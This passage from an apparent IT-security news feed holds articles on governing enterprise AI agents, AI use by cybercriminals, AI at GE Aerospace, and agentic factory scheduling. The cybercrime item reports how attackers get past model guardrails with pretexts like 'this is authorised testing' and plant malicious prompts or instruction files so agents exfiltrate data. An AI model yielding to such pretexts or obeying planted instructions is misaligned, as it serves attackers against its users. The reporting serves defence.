<p class="wp-block-paragraph">One deployment I worked on involved multiple specialized AI agents collaborating to complete a single business task. One queried ServiceNow for ticket history, another analyzed documents in SharePoint, a third drafted recommendations and a fourth wrote updates back into Jira. Individually, each agent had relatively limited permissions like read-only and/or write. Collectively, they represented a powerful autonomous workflow. That experience reinforced an important lesson: Security can no longer focus only on individual AI components. It must govern the complete chain of autonomous decision-making. The <a href="https://atlas.mitre.org/">MITRE ATLAS framework</a> is an excellent way to think about adversarial AI techniques, but equally important is understanding how normal autonomous behavior can unintentionally create business risk.</p>



<p class="wp-block-paragraph">The most instructive cases I’ve seen involve agents that delegate to other agents. In one review, a frontline support agent had strictly read-only access to Salesforce, but it could hand tasks to a second agent that held write privileges across ServiceNow and the billing platform. When the first agent couldn’t resolve a customer issue within its own scope, it quietly routed the request through the second agent, which updated the case and issued a credit. Nothing was hacked. The credentials were valid, the delegation was technically permitted, and yet a read-only agent had effectively performed write actions it was never meant to perform. That is the defining difference between an assistant and an agent. An assistant answers; an agent enlists other agents, and that escalation path is itself the vulnerability.</p>



<p class="wp-block-paragraph">That’s why we started asking a different question during architecture reviews. Instead of asking “Can the AI do this?” we asked, “Should the AI still be doing this?” That subtle shift changed many design decisions. It pushed teams to build in stopping conditions, scope checks and confirmation prompts rather than assuming an agent would naturally know when to stop. In one review, simply requiring a human to confirm before an agent crossed from a read-only step into a write action eliminated the majority of the risky paths we had been debating.</p>



<h2 class="wp-block-heading">Start with governance before autonomy</h2>



<p class="wp-block-paragraph">One pattern I’ve repeatedly observed is that organizations become excited about autonomy long before they’re prepared to govern it. Everyone wants AI agents, but few initially invest in runtime policy enforcement. That sequencing should be reversed. In my experience, successful enterprise AI programs put a few foundations in place before expanding automation: Clear business boundaries that an agent isn’t allowed to cross, least-privilege access for every agent, and human approval at any step that touches sensitive/restricted data/systems, including the production data /systems. Only after those exist does it make sense to widen autonomous decision-making. I’ve watched teams try to shortcut this order, and the result is almost always the same: A promising pilot gets pulled back because no one can confidently explain what the AI did or why.</p>



<p class="wp-block-paragraph">A big part of that foundation is visibility. Traditional audit logs record actions, but AI systems also need to record reasoning. When an AI agent creates a ticket, updates a configuration or sends an email, investigators should understand why the decision occurred. This doesn’t mean recording every token generated by a large language model. I’ve found more value in capturing three things: The original business request, the systems the agent touched and the decisions it made along the way. Those records become invaluable during investigations, compliance reviews and operational troubleshooting, and they help organizations build trust. Business leaders become far more comfortable adopting AI when they can explain how an important decision was reached. Approaches like <a href="https://blog.google/innovation-and-ai/technology/safety-security/introducing-googles-secure-ai-framework/">Google’s Secure AI Framework</a> reinforce the same idea: AI security has to be measurable, observable and accountable end to end.</p>



<p class="wp-block-paragraph">One misconception I still encounter is that AI security exists to restrict innovation. In practice, the organizations moving fastest with enterprise AI are often the ones investing most heavily in governance, because executives gain confidence, developers move faster and business units adopt AI more broadly. Done well, security is what makes that speed possible.</p>



<p class="wp-block-paragraph">Looking back, the most valuable lesson hasn’t been about prompt engineering, model selection or agent frameworks. It’s that secure AI isn’t achieved through one perfect control but through hundreds of small engineering decisions that keep autonomous systems aligned with business intent. As we move from assistants toward fully autonomous agents, that distinction only matters more. The teams I trust to scale AI aren’t the ones with the smartest models. They’re the ones who can answer, for any action an agent took, why it took it — and where it would have stopped.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Evidence points to cybercriminals stepping up their AI game]]></title>
<description><![CDATA[More evidence is emerging about how AI is becoming part of the day-to-day workflow for cybercriminals, from building and refining tools to managing infrastructure and accelerating vulnerability research.



Drawing on recovered prompt logs, attack tooling, and threat actor conversations, research...]]></description>
<link>https://tsecurity.de/de/3707741/it-security-nachrichten/evidence-points-to-cybercriminals-stepping-up-their-ai-game/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707741/it-security-nachrichten/evidence-points-to-cybercriminals-stepping-up-their-ai-game/</guid>
<pubDate>Thu, 06 Aug 2026 13:01:43 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">More evidence is emerging about how AI is becoming part of the day-to-day workflow for cybercriminals, from building and refining tools to managing infrastructure and accelerating vulnerability research.</p>



<p class="wp-block-paragraph">Drawing on recovered prompt logs, attack tooling, and threat actor conversations, research from Cisco Talos documents how AI is being used to develop malicious code, build fraud infrastructure, and accelerate vulnerability research and exploitation.</p>



<p class="wp-block-paragraph">The <a href="https://blog.talosintelligence.com/keep-going-bro-youve-got-this-a-data-driven-look-at-how-adversaries-are-weaponizing-ai/">study</a>, released during the Black Hat USA conference, found AI systems guardrails were often ineffective.</p>



<p class="wp-block-paragraph">Cisco Talos researchers write that threat actors frequently bypass guardrails with basic social engineering claims (“this is authorised testing” or “I’m asking this as part of a capture the flag exercise”) that convince most models to comply.</p>



<p class="wp-block-paragraph">This duped permissiveness wasn’t specific to a single model or platform. Instead, analysis of prompt logs related to Claude Code, CodeX, Cursor, and Gemini showed this shortcoming was an issue across the board. And when censored models refuse, threat actors simply switch to uncensored alternatives.</p>



<p class="wp-block-paragraph">Whereas novice cybercriminals continue to produce clunky malware with limited functionality, sophisticated threat groups are increasingly leveraging AI as a development assistant to rapidly build exploits, and some are even deploying it as a system administration tool for managing large-scale attack infrastructure.</p>



<p class="wp-block-paragraph">Cisco Talos found real-world examples of attackers abusing AI systems to build a bulk-mail validation service processing tens of millions of email records, adapting the <a href="https://www.csoonline.com/article/4111888/react2shell-anatomy-of-a-max-severity-flaw-that-sent-shockwaves-through-the-web.html">React2Shell vulnerability</a> into a credential-harvesting pipeline, developing DDoS infrastructure targeting Android TVs, and supporting cryptocurrency theft operations, among other attacks.</p>



<p class="wp-block-paragraph">Joseph Rooke, senior director at Recorded Future’s Insikt Group, sees attacker tradecraft evolving away from traditional code-based exploits toward prompt-based manipulation of large language models.</p>



<p class="wp-block-paragraph">“Targeting weakness in LLMs enables malicious prompts to be embedded in shared text, video, or image files, with the aim of hijacking LLM-based assistants to carry out attacks,” Rooke tells CSO.</p>



<p class="wp-block-paragraph">Norwegian AI researcher Håkon Måløy recently demonstrated such an attack, which could result in a <a href="https://www.csoonline.com/article/4203630/copilot-worm-can-spread-through-microsoft-word-docs.html">Copilot worm spreading through Microsoft Word docs</a>. Attackers are also <a href="https://www.csoonline.com/article/4204731/attackers-are-crafting-malicious-ai-instruction-files-to-turn-your-agentic-workflows-into-quiet-criminal-helpers.html">crafting malicious AI instruction files</a>, like CLAUDE.md, to trick agents into exfiltrating data and other tasks on their behalf.</p>



<p class="wp-block-paragraph">“Malicious prompts will increasingly replace malware as the preferred intrusion method, enabling adversaries to extract sensitive data, override guardrails, or induce harmful actions without breaching traditional defenses,” Rooke says.</p>



<h2 class="wp-block-heading">Attacking AI through the software supply chain</h2>



<p class="wp-block-paragraph">Separately, research from CrowdStrike shows that adversaries are increasingly targeting AI infrastructure through software supply chain-style attacks.</p>



<p class="wp-block-paragraph">For example, in March 2026, North Korean cybercrime group Stardust Chollima used stolen maintainer credentials to <a href="https://www.csoonline.com/article/4152696/attackers-trojanize-axios-http-library-in-highest-impact-npm-supply-chain-attack.html">compromise the Axios npm package</a> and deliver platform-specific variants of their ZshBucket malware.</p>



<p class="wp-block-paragraph">In June 2026, the same group injected a malicious npm package as a dependency into at least 131 <a href="https://www.csoonline.com/article/4072341/introducing-maestro-a-framework-for-securing-generative-and-agentic-ai.html">Mastra AI framework</a> packages, indicating that trusted AI building blocks are becoming targets in supply chain attacks.</p>



<p class="wp-block-paragraph">During 1H 2026, 87% of identified software registry threats involved malicious npm packages. “This indicates adversaries’ preference for JavaScript’s scale, dependency chains, and automatic install scripts to spread downstream risk,” CrowdStrike’s researchers report.</p>



<p class="wp-block-paragraph"><a href="https://www.crowdstrike.com/en-us/blog/crowdstrike-2026-threat-hunting-report/">CrowdStrike’s 2026 Threat Hunting Report</a> also reveals how AI is collapsing the window between vulnerability disclosure and active exploitation.</p>



<p class="wp-block-paragraph">For example, two separate Chinese APT groups exploited critical vulnerabilities within 24 hours of public proof-of-concept (PoC) release. From January through June 2026, 88% of CrowdStrike-observed exploitation of vulnerabilities with a public PoC was conducted within 48 hours of the PoC’s release.</p>



<p class="wp-block-paragraph">After the React2Shell vulnerability disclosure, CrowdStrike responded to over 800 hunting leads across more than 80 victims in just four days.</p>



<p class="wp-block-paragraph">Cybercrime group Altered Spider (aka TeamPCP) <a href="https://www.csoonline.com/article/4170284/mistral-ai-sdk-tanstack-router-hit-in-npm-software-supply-chain-attack.html">compromised more than 300 software dependencies</a> in a single day to harvest credentials and pivot into cloud environments.</p>



<h2 class="wp-block-heading">Authentication systems under attack</h2>



<p class="wp-block-paragraph">The study — based on frontline intelligence from CrowdStrike’s threat hunters and intelligence analysts — also found that trusted authentication has become a favored attack path with, for example, vishing intrusions doubling in 1H 2026. On a related front, cybercrime groups Cordial Spider and Snarky Spider compromised single sign-on (SSO) integrated SaaS applications for data exfiltration.</p>



<p class="wp-block-paragraph">Recorded Future’s Rooke points out other ways authentication systems are at the front line of AI-based attacks.</p>



<p class="wp-block-paragraph">“AI-generated deepfake videos and audio are also more likely to be used as part of business email compromise attacks and social engineering,” Rooke tells CSO. “Biometric and identity-verification systems will likely remain vulnerable to spoofing, replay, and cloned credentials, enabling synthetic personas to coerce payments, manipulate employees, and facilitate access handoffs to cyber operators.”</p>



<p class="wp-block-paragraph">Cloud-focused cybercrime activity surged 171% as adversaries executed credential theft, cryptomining, LLM abuse, and digital financial asset theft, according to CrowdStrike.</p>



<h2 class="wp-block-heading">How cyber teams should respond</h2>



<p class="wp-block-paragraph">“AI is now embedded in modern adversary operations. It is changing how attacks are planned, executed, and scaled while expanding the attack surface organizations must defend,” says Adam Meyers, head of counter adversary operations at CrowdStrike. “The organizations that succeed will secure AI as aggressively as they adopt it and use AI to defend at the speed of the adversary.”</p>



<p class="wp-block-paragraph">Comprehensive industry-wide data remains limited because evidence of AI abuse is often difficult to identify via traditional security telemetry. Incidents documented by Cisco Talos and CrowdStrike, however, show how CISOs need to adapt in response to the growing threat.</p>



<p class="wp-block-paragraph">Cisco Talos urges enterprises to improve detection, prioritization, and their own use of AI platforms and agents to handle the growing volume of alerts and vulnerabilities. “The organisations best equipped to handle the coming deluge of additional vulnerabilities, alerts, and incidents will be the ones that prepare now by deploying their own AI-assisted security capabilities,” according to the report.</p>



<p class="wp-block-paragraph">“Security teams should assume AI is already embedded in attacker workflows; focus on detecting malicious behavior rather than proving AI involvement; treat LLMs and APIs as privileged, high-risk infrastructure; and strengthen logging, patching, and containment,” says Oliver Simonnet, lead cybersecurity researcher at AI security and governance platform CultureAI.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How AI takes flight at GE Aerospace]]></title>
<description><![CDATA[The race to adopt AI has left many CIOs wrestling with a fundamental question: How do you move faster without introducing unacceptable risk?



Few leaders face that challenge at a higher level than David Burns, CIO of GE Aerospace. Building on the company’s decade of experience applying AI acros...]]></description>
<link>https://tsecurity.de/de/3707684/it-security-nachrichten/how-ai-takes-flight-at-ge-aerospace/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707684/it-security-nachrichten/how-ai-takes-flight-at-ge-aerospace/</guid>
<pubDate>Thu, 06 Aug 2026 12:51:46 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The race to adopt AI has left many CIOs wrestling with a fundamental question: How do you move faster without introducing unacceptable risk?</p>



<p class="wp-block-paragraph">Few leaders face that challenge at a higher level than David Burns, CIO of GE Aerospace. Building on the company’s decade of experience applying AI across its business, Burns is helping lead the next phase of the company’s digital transformation by leveraging AI to simplify and automate processes. Burns’ experience shows how AI can accelerate innovation, improve decision-making, and create value for the business and customers while maintaining the trust, safety, and operational rigor expected in the aerospace industry.</p>



<p class="wp-block-paragraph">In a recent episode of <a href="https://linktr.ee/techwhisperers">the Tech Whisperers podcast</a>, Burns opened up his playbook for leading organizations through turbulence. In this conversation, edited for length and clarity, he shares more practical lessons for technology leaders who are seeking to move beyond experimentation and scale AI responsibly across the enterprise.</p>



<p class="wp-block-paragraph"><strong>Dan Roberts: You’ve described AI as an accelerator. What exactly is AI accelerating inside GE Aerospace?</strong></p>



<p class="wp-block-paragraph"><strong>David Burns:</strong> At GE Aerospace, AI is used across our operations as an accelerator to Flight Deck, our proprietary lean operating model, and is applied to all key aspects of the business — design, manufacture, sales, and services. We identify and solve problems with Flight Deck and use AI to accelerate our problem-solving in ways we can genuinely feel, enabling us to identify issues earlier, solve problems faster for our customers, and improve how work gets done.</p>



<p class="wp-block-paragraph">For example, we are also using AI in:</p>



<p class="wp-block-paragraph"><strong>Design:</strong> While traditional processes for developing engine design concepts take months of manual work, the GE Aerospace Research Center built a proprietary generative AI application capable of producing hundreds of design concepts. As a result, the team produced the hypersonic ramjet engine design concept that met all regulatory requirements more than 90% faster than before, highlighting how AI is possible in engine design to support engineers bringing new technologies to market faster.</p>



<p class="wp-block-paragraph"><strong>Manufacture:</strong> Our team in Indianapolis used an AI coding assistant to automate a part quality inspection workflow, reducing 8 hours of manual measurement data entry for complex parts to just 3 seconds while improving data accuracy and inspection consistency. This has improved both the quality and efficiency for clearing parts to build, which helps drive on-time engine deliveries.</p>



<p class="wp-block-paragraph"><strong>Sales:</strong> Based on customer feedback that GE Aerospace’s responses for proposals needed to be faster, the sales team utilized a generative AI tool to synthesize data and produce deal proposals. The tool improved customer response time by more than two weeks for the GEnx team through reduced proposal development cycle time and standardized creation of more comprehensive deal proposals.</p>



<p class="wp-block-paragraph"><strong>Service:</strong> When LEAP engine rebuilds faced potential turnaround time (TAT) challenges due to material availability at our Maintenance, Repair and Overhaul (MRO) sites, our team in Lafayette, Indiana, applied AI to help reduce delays for customers. Using Daily &amp; Visual Management, they surfaced material flow challenges and their underlying drivers, leading to a new AI solution that leverages data to predict when and where parts are needed faster to reduce delays for our customers with an approximately six-day turnaround time improvement, 16% increase in on-time material orders, and 15% increase in on-time material delivery.</p>



<p class="wp-block-paragraph">Ultimately, by leveraging AI, Flight Deck helps us eliminate waste and identify and accelerate the most value-added steps for our customers, be it designing a part faster or responding to a customer request faster. And I would underscore that it’s value through the eyes of our customer. How we define value is not what we internally say; it’s how our customers define value, and how we’re working to be more customer-driven.</p>



<p class="wp-block-paragraph"><strong>GE Aerospace has been investing in analytics, machine learning, and digital capabilities for more than a decade. What advantages does that foundation create as you move into the generative AI era?</strong></p>



<p class="wp-block-paragraph">We’ve built one of the largest AI patent portfolios in the aviation industry through years of investment and supercomputing through digital technologies, and we continue to do work on our core transactional systems and our data foundations, so that way our data is AI-ready. This has allowed us to build our own AI capabilities and strong talent base. For example, the generative AI app we built to create new propulsion systems design was built in house by GE Aerospace scientists at the <a href="https://www.geaerospace.com/news/press-releases/ge-aerospace-completes-design-studies-hypersonic-ramjet-generative-ai">GE Aerospace Research Center</a>.</p>



<p class="wp-block-paragraph">At the same time, our knowledge and familiarity with the landscape has allowed us to make connections with tech companies, including one where we’re using agentic AI in a multi-year partnership to predict demand and identify constraints to enhance production readiness in the Defense business.</p>



<p class="wp-block-paragraph">We were fortunate to have leaders who were very smart to invest in data scientists 10, 15 years ago, and we’re getting to leverage that talent today. The lesson there is that is you always have to be thinking long term when you’re talking about talent, because you may not know exactly how the world will play out, but making sure you have the best athletes on the field to run the race becomes critically important. For us, some of those investments we did around our people is what’s paying off today.</p>



<p class="wp-block-paragraph"><strong>One of the biggest challenges facing CIOs today is balancing innovation with risk management. How do you approach that balance in an industry where safety, reliability, and trust are non-negotiable?</strong></p>



<p class="wp-block-paragraph">It’s all about risk tolerance. There are certain areas in our business where we don’t have high risk tolerance, and we’re very methodical and cautious about how we deploy technology into those uses and have very stringent processes that we comply consistently with. In areas that are not safety and quality critical, we are more aggressive in looking at how we can use technology to deliver more for our customers and to make our employees more effective. That’s where we strike the balance, and at the end of the day, it’s about making sure we’re never compromising safety or quality in what we do.</p>



<p class="wp-block-paragraph">As for the process, we start with Flight Deck and focus AI where it can help solve critical challenges for our customers and with the highest impact to customer outcomes, enhancing safety, quality, delivery, and cost, in that order, to solve problems that matter most and keep fleets flying. ​</p>



<p class="wp-block-paragraph">We have three guiding principles for safe and responsible AI use: </p>



<ul class="wp-block-list">
<li><strong>Trust:</strong> The data-informing AI must be known, trusted, and reliable. </li>



<li><strong>Transparent:</strong> The AI must be transparent and repeatable, which means we need to know what is informing an AI model’s insights and actions.</li>



<li><strong>Human:</strong> A human must always be in the loop and make the final decision.    </li>
</ul>



<p class="wp-block-paragraph">Our culture of discipline also plays an important role. Our business variation is challenging, so one of the core fundamentals of Flight Deck is standard work. It’s embedded into our culture, and it’s the base expectation that we operate with standards that we’re continuously improving.</p>



<p class="wp-block-paragraph"><strong>Many organizations are struggling to move from AI pilots to enterprise-scale value. What lessons have you learned about successfully scaling AI across a large, complex organization?</strong></p>



<p class="wp-block-paragraph">AI is a tool that strengthens the capabilities of skilled employees; it is not a substitute for their judgment, experience, or accountability. So we focus on testing and validating AI solutions through pilots before scaling, and look for AI applications that meaningfully change how work gets done.</p>



<p class="wp-block-paragraph">Early on, when we started doing a lot of our generative AI work, we focused on 14 big problems in the business, and we didn’t let ourselves stray all over the place. We also didn’t look at it as a technology solution. We looked at the process and where technology played into the process, and then we embedded AI into those core processes. So now, it’s not a separate thing where you go do AI. It’s embedded in the workflow of how things get done.</p>



<p class="wp-block-paragraph">That gave us a foundation to learn and grow from that we’ve now applied. We’re not trying to create popcorn AI solutions all over the place. We’re trying to transform our business processes. In some cases, we’re doing good old process improvement, lean process improvement, eliminating waste, not necessarily a technology play. In other places, we’re applying technology that’s helping to lift us up and accelerate value by embedding it into the way work gets done, with a little bit of burning the boats behind you. You’re not able to do it the old way. You’ve got to use the tools. You’ve got to use the technology, because it’s the best-known way of doing it. The technology becomes part of the standard work.</p>



<p class="wp-block-paragraph">That’s why one of the biggest lessons in scaling AI is that success starts with the core fundamentals and understanding the problem you’re trying to solve. It’s critical to test and validate AI solutions before they are deployed at scale to ensure they improve how work gets done and become embedded in our workflows. If you do not have strong standard work and transparent and reliable data in place, it becomes difficult to move beyond pilot stage and create repeatable value at scale.</p>



<p class="wp-block-paragraph"><strong>Every day brings a new AI announcement, new model, or new prediction about the future. How do you separate what is truly meaningful from what is simply noise, and what advice would you give other leaders trying to do the same?</strong></p>



<p class="wp-block-paragraph">First and foremost is starting with the problem being solved, not the solution. If you’ve got a hammer that you want to use, everything starts looking like a nail. The most effective use of AI begins with an understanding of the problem that needs to be solved, then determining whether AI is the right tool to address it.</p>



<p class="wp-block-paragraph">As far as dealing with distractions, and there are a lot of them right now, it’s important to try a lot of things, but very quickly, and then make decisions on which are the bets you want to make and spend more time and more money on and which are the ones you want to pivot away from. We spend a lot of time doing quick experiments with technology and then having the courage to stop something when it’s not working.</p>



<p class="wp-block-paragraph"><strong>What excites you most about the future intersection of AI, engineering, manufacturing, and aerospace? And what should CIOs be doing today to prepare for that future?</strong></p>



<p class="wp-block-paragraph">Across aviation, AI is already helping to enhance safety, support more efficient operations, strengthen the resilience of global fleets, and improve the overall passenger experience. That includes GE Aerospace. These benefits come from investing not only in technology, but also in people, capacity, and trusted partnerships. </p>



<p class="wp-block-paragraph">They also depend on building mature, fully connected data threads through manufacturing and services that will drive higher value across our operations. The challenge will be ensuring that we enable this data thread across our operations to support AI solutions that will be developed and deployed.</p>



<p class="wp-block-paragraph">The most important thing is to understand that the role of digital technology and information technology is fundamentally going to change. When I came out of university, the only people that knew how to do software coding were computer scientists or information systems majors. We used to frown upon shadow IT, but the reality is, now everyone coming out of college knows how to do some level of software development, and AI tools are only going to make that easier.</p>



<p class="wp-block-paragraph">What CIOs need to start doing today is prepare for the future. The big questions they need to answer: How are they going to make sure they’ve got the platforms and the data set up in a way to serve a workforce that is capable of doing true citizen development, able to develop their own applications, their own solutions? How do you govern that from a data perspective, from a data privacy perspective, from a cybersecurity perspective, while not stifling but enabling the innovation of all those smart people that we’re hiring?</p>



<p class="wp-block-paragraph"><em>While many organizations search for shortcuts to AI success, GE Aerospace’s disciplined investment in data, analytics, talent, and operational excellence sets the company apart. Burns’ experience offers a clear lesson for CIOs: Creating the greatest value from AI requires building the capabilities, culture, and foundations that allow AI to amplify what the organization already does exceptionally well. For more from his leadership playbook, </em><a href="https://linktr.ee/techwhisperers"><em>tune in to the Tech Whisperers</em></a><em>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Algorithms aren’t enough: Why factories need an AI reasoning layer]]></title>
<description><![CDATA[The scheduling fallacy and the shift to autonomy



Walk onto almost any manufacturing shop floor, and you will witness the same systemic vulnerability: a brilliantly engineered, multi-million-dollar Advanced Planning and Scheduling (APS) system rendered completely useless by a single delayed del...]]></description>
<link>https://tsecurity.de/de/3707683/it-security-nachrichten/algorithms-arent-enough-why-factories-need-an-ai-reasoning-layer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707683/it-security-nachrichten/algorithms-arent-enough-why-factories-need-an-ai-reasoning-layer/</guid>
<pubDate>Thu, 06 Aug 2026 12:51:45 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<h2 class="wp-block-heading">The scheduling fallacy and the shift to autonomy</h2>



<p class="wp-block-paragraph">Walk onto almost any manufacturing shop floor, and you will witness the same systemic vulnerability: a brilliantly engineered, multi-million-dollar Advanced Planning and Scheduling (APS) system rendered completely useless by a single delayed delivery truck, an unexpected machine drift or a sudden workforce shortage. Industrial operations do not happen in a sterile room; the moment a perfect plan hits the messy reality of the physical shop floor, real-world variables inevitably shatter it.</p>



<p class="wp-block-paragraph">This is the scenario (or challenge) that I have been navigating over the past few months and is likely to keep me occupied for the remainder of the year. I began this project believing the scheduling engine was the problem. After months of experimentation, including trying to make LLMs perform optimization, I realized I was solving the wrong problem. The realization that dawned on me was that it wasn’t about a better algorithm; it was about separating mathematical optimization from operational reasoning.</p>



<p class="wp-block-paragraph">According to the <a href="https://www.bassetti-group.com/en/manufacturing-gartner-2026-ai/">2026 Gartner Manufacturing Predicts report</a>, factory orchestration is moving rapidly toward a “double helix” model where software-defined enterprise data intricately intertwines with autonomous production orchestration. Gartner also projects that 40% of enterprise applications will feature integrated, task-specific AI agents by the end of 2026 — a massive leap from less than 5% in 2025. For technology leaders, the mandate is clear.</p>



<h2 class="wp-block-heading">Deconstructing the “reasoning layer”</h2>



<p class="wp-block-paragraph">Let’s first demystify what a “Reasoning Layer” is and what it is not. It is not a Generative AI nor is it a glorified Robotic Process Automation (RPA) script executing static, hardcoded logic. Instead, the Reasoning Layer is a cognitive overlay powered by foundation models. These models have been fine-tuned on operational ontologies, enterprise supply chain strategies and real-time shop-floor data streams. Pretty much everything that happens in your organization and, in many cases, outside as well, as some decisions are impacted by the prevailing external situation.</p>



<p class="wp-block-paragraph">A reasoning layer continuously answers a complex question: Given this specific disruption, what is the optimal business choice right now?</p>



<h2 class="wp-block-heading">The dual-engine architecture: Math meets cognition</h2>



<p class="wp-block-paragraph">A common pitfall has been to expect an LLM to handle both. That was the blunder I committed was to assume that a sufficiently trained LLM can get the job done.</p>



<p class="wp-block-paragraph">The true breakthrough in designing a production-grade scheduling application lies in pairing semantic intelligence with raw mathematical muscle.</p>



<p class="wp-block-paragraph">To solve this, what I discovered was that you need to split it into two layers. A number-crunching mathematical layer and a qualitative layer. Both working in sync.  </p>



<ol start="1" class="wp-block-list">
<li><strong>The quantitative engine:</strong> Global pathfinding, sequence optimization and multi-plant capacity balancing are treated as a highly complex routing problem. Ant Colony Optimization (ACO) algorithm, for example, excels here. It can navigate massive combinatorial data spaces to find optimal/near-optimal scheduling sequences across interdependent lines. A word of caution though: This requires good quality data and lots of it.</li>



<li><strong>The qualitative brain (agentic AI):</strong> The AI agent serves as the dynamic coordinator. It monitors the operational environment for live telemetry anomalies (such as machine cycle-time drifts or supply chain delays). When an anomaly occurs, the agent evaluates the business impact. Determines whether a re-optimization is required and crucially rewrites the constraints and boundary conditions before triggering the ACO engine.</li>
</ol>



<p class="wp-block-paragraph">By using the Agentic Layer to bound the mathematical problem, the system avoids the fatal flaw of traditional advanced planning tools: completely rewriting a global schedule over a minor local exception.</p>



<h2 class="wp-block-heading">The multi-plant orchestration paradox</h2>



<p class="wp-block-paragraph">When a manufacturing organization expands from a single facility to a distributed, multi-plant network, operational complexity does not scale linearly — it scales exponentially. In theory, a multi-plant footprint should provide an enterprise with built-in resilience, giving leadership the flexibility to shift production loads when disruptions strike. Most manufacturing organizations suffer from the multi-plant orchestration paradox: they possess massive regional capacity but are structurally blind to how to leverage it dynamically.</p>



<p class="wp-block-paragraph">The root cause of this paradox is the historical legacy corporate silo. If a plant in Chennai faces a sudden logistics bottleneck or a critical machine breakdown, its local team scrambles in isolation. Meanwhile, a sister plant in Pune operates completely unaware that it possesses the excess capacity, specific tooling or material buffers required to absorb the overflow.</p>



<p class="wp-block-paragraph">By the time information filters up to corporate logistics and decisions are taken, you would have lost precious capacity and time.</p>



<h2 class="wp-block-heading">Enter MAGS: The rise of agent-to-agent collaboration</h2>



<p class="wp-block-paragraph">To shatter these corporate silos, the reasoning layer must expand past local optimizations and facilitate cross-facility orchestration. This shift is driven by a distinct architectural evolution: Multi-agent generative systems (MAGS). <a href="https://www.gartner.com/en/articles/multiagent-systems">Gartner highlights</a> the rapid acceleration of this trend, predicting that by 2027, one-third of all agentic AI implementations will focus heavily on autonomous agent-to-agent collaboration.</p>



<p class="wp-block-paragraph">In a MAGS framework, the scheduling agents of individual plants do not operate in a vacuum. Instead, they form an interconnected, distributed network capable of autonomous negotiation. The architectural flow of this cross-facility negotiation occurs across three distinct phases:</p>



<ul class="wp-block-list">
<li><strong>Perception:</strong> Local plant agents continuously ingest live IIoT telemetry, tracking real-time machine interdependencies, resource pooling variances and material transit times across physical transport lanes.</li>



<li><strong>Interpretation:</strong> When an anomaly occurs, the local agent instantly evaluates the disruption against localized business constraints.</li>



<li><strong>Negotiation:</strong> Rather than escalating every minor bottleneck to a human director, Plant A’s scheduling agent connects directly to Plant B’s agent over the secure network. The agents cross-negotiate load-balancing options, evaluate transportation lead times and run localized optimization calculations in parallel.</li>
</ul>



<p class="wp-block-paragraph">Instead of forcing supply chain teams to manually bridge data gaps during a crisis, the system bypasses legacy functional silos. It presents the COO’s operations team with a pre-validated, end-to-end scheduling solution.</p>



<h2 class="wp-block-heading">Real-world applications: Grounding autonomy in industrial reality</h2>



<p class="wp-block-paragraph">To understand how this functions in the real world, we must look beyond theoretical multi-agent frameworks and examine how this architecture operates within live factories. The following two case studies—drawn from highly documented, peer-reviewed industrial implementations — demonstrate how multi-agent generative systems (MAGS) actively protect margins and timelines when unexpected disruptions strike.</p>



<h3 class="wp-block-heading">Case study 1: The discrete architecture (The Festo cyber-physical agent framework)</h3>



<ul class="wp-block-list">
<li><strong>The context:</strong> This architecture is modeled after the landmark decentralized orchestration frameworks deployed at Festo’s Scharnhausen Technology Plant. Instead of relying on a centralized ERP/MES brain to dictate every move, the facility utilizes cyber-physical systems (CPS) where the physical components and machines operate as an interconnected multi-agent system (MAS).</li>



<li><strong>The disruption:</strong> During a high-volume discrete run of automation components, a critical machining center suffering an unexpected tooling failure, in a traditional centralized setup, would have triggered a cascade of line stoppages.</li>



<li><strong>The intervention:</strong> The affected machine’s resource agent instantly broadcasts its downtime status across the network. The task agents ingest the anomaly and independently query neighboring machining cells. The setup utilizes an underlying ACO routing routine to calculate the most efficient physical path through alternative, under-utilized cells. The Task Agents actively barter for open capacity with these alternative resource agents, dynamically adjusting their own operational sequences.</li>
</ul>



<h3 class="wp-block-heading">Case study 2: The process pivot (The TU Dresden battery manufacturing framework)</h3>



<ul class="wp-block-list">
<li><strong>The context:</strong> This case is drawn directly from a multi-layer agent-based framework engineered for a European lead-acid battery manufacturer in coordination with researchers at TU Dresden. The environment features 31 highly energy-intensive heat-treatment and curing chambers, where localized utility tariff volatility drastically impacts production margins. Continuous chemical process lines cannot simply be shut down without massive material waste and lengthy restart sequences.</li>



<li><strong>The disruption:</strong> A sudden, localized weather event triggers an unpredicted spike in peak-load electricity pricing, threatening to entirely erase the profit margin on a high-volume production run.</li>



<li><strong>The intervention:</strong> To solve this, the plant utilized a multi-layer agent-based framework. An energy-monitoring agent tracking live utility tariff feeds communicated the financial threat directly to the production scheduling agent. Instead of a crude emergency halt, the reasoning layer queried the facility’s computerized maintenance management system (CMMS). The agentic layer identified a mandatory 4-hour preventative maintenance window scheduled for three days later. The agent made an executive operational decision: it pulled that maintenance window forward to occur <em>during</em> the exact hours of peak utility pricing, converting an expensive tariff penalty into required downtime. Simultaneously, lower-level agents representing the individual curing chambers and material pallets recalculated local constraints, instructing the optimization engine to compress and accelerate subsequent production batches during the cheaper, off-peak night shifts.</li>
</ul>



<h3 class="wp-block-heading">The business outcome</h3>



<p class="wp-block-paragraph">In both cases, the agents optimized an operational pivot, and optimally utilised production capacity in the former and saved precious cash in the latter.</p>



<h2 class="wp-block-heading">Governance, trust and the “human-in-the-loop” guardrails</h2>



<p class="wp-block-paragraph">All that seems great and seems like science fiction; it inevitably raises a critical, polarizing question for the C-suite: If the algorithms are making multi-thousand-dollar operational choices in real time, how do we maintain control?</p>



